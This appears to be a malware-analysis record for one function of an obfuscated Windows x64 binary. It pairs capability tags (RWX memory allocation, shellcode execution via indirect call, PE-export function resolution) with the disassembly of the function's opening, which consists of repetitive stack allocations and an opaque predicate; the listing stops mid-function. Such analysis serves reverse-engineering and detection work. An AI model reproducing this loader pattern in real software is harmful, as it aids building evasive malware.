Function at 0x1400043d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rdi
mov eax, 0x21c0
call fcn.14003d690
sub rsp, rax
lea rbp, [rsp + 0x80]
sub rsp, 0x20
call fcn.14003c6e0
add rsp, 0x20
mov eax, 0x10
mov qword [rbp + 0x2058], rax
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1e80], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1e88], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1e90], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1e98], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1ea0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1ea8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1eb0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1eb8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1ec0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1ec8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1ed0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1ed8], rax
mov eax, 0x20
mov qword [rbp + 0x2080], rax
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1ee0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1ee8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1ef0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1ef8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f00], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f08], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f10], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f18], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f20], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f28], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f30], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f38], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f40], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f48], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f50], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f58], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f60], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f68], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f70], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f78], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f80], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1f88], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1f90], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1f98], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1fa0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x1fa8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fb0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fb8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fc0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fc8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fd0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fd8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fe0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1fe8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1ff0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x1ff8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2000], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2008], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2010], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2018], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2020], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2028], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2030], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2038], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2040], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2048], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2050], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2058]
mov rcx, rsp
mov qword [rbp + 0x2060], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2068], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2070], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2078], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x2080]
mov rcx, rsp
mov qword [rbp + 0x2088], rcx
call fcn.14003d690
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x2090], rax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140004a97
jmp 0x14002e777
mov rsi, qword [rbp + 0x1ea0]
mov eax, 0x20
mov qword [rbp + 0x1d50], rax
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x13e8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x13f0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x13f8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1400], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1408], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1410], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1418], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1420], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1428], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1430], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1438], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1440], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1448], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1450], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1458], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1460], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1468], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1470], rcx
call fcn.14003d690
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1478], rax
mov eax, 0x10
mov qword [rbp + 0x1e68], rax
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1480], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1488], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1490], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1498], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14a0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14a8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14b0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14b8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14c0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14c8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14d0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14d8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14e0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14e8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14f0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x14f8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1500], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1508], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1510], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1518], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1520], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1528], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1530], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1538], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1540], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1548], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1550], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1558], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1560], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1568], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1570], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1578], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1580], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1588], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1590], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1598], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15a0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15a8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15b0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15b8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15c0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15c8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15d0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15d8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15e0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15e8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15f0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x15f8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1600], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1608], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1610], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1618], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1620], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1628], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1630], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1638], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1640], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1648], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1650], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1658], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1660], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1668], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1670], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1678], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1680], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1688], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1690], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1698], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16a0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16a8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16b0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16b8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16c0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16c8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16d0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16d8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16e0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16e8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16f0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x16f8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1700], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1708], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1710], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1718], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1720], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1728], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1730], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1738], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1740], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1748], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1750], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1758], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1760], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1768], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1770], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1778], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1780], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1788], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1790], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1798], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17a0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17a8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17b0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17b8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x17c0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17c8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17d0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17d8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17e0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17e8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17f0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x17f8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1800], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1808], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1810], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1818], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1820], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1828], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1830], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1838], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1840], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1848], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1850], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1858], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1860], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1868], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1870], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1878], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1880], rcx
call fcn.14003d690
sub rsp, rax
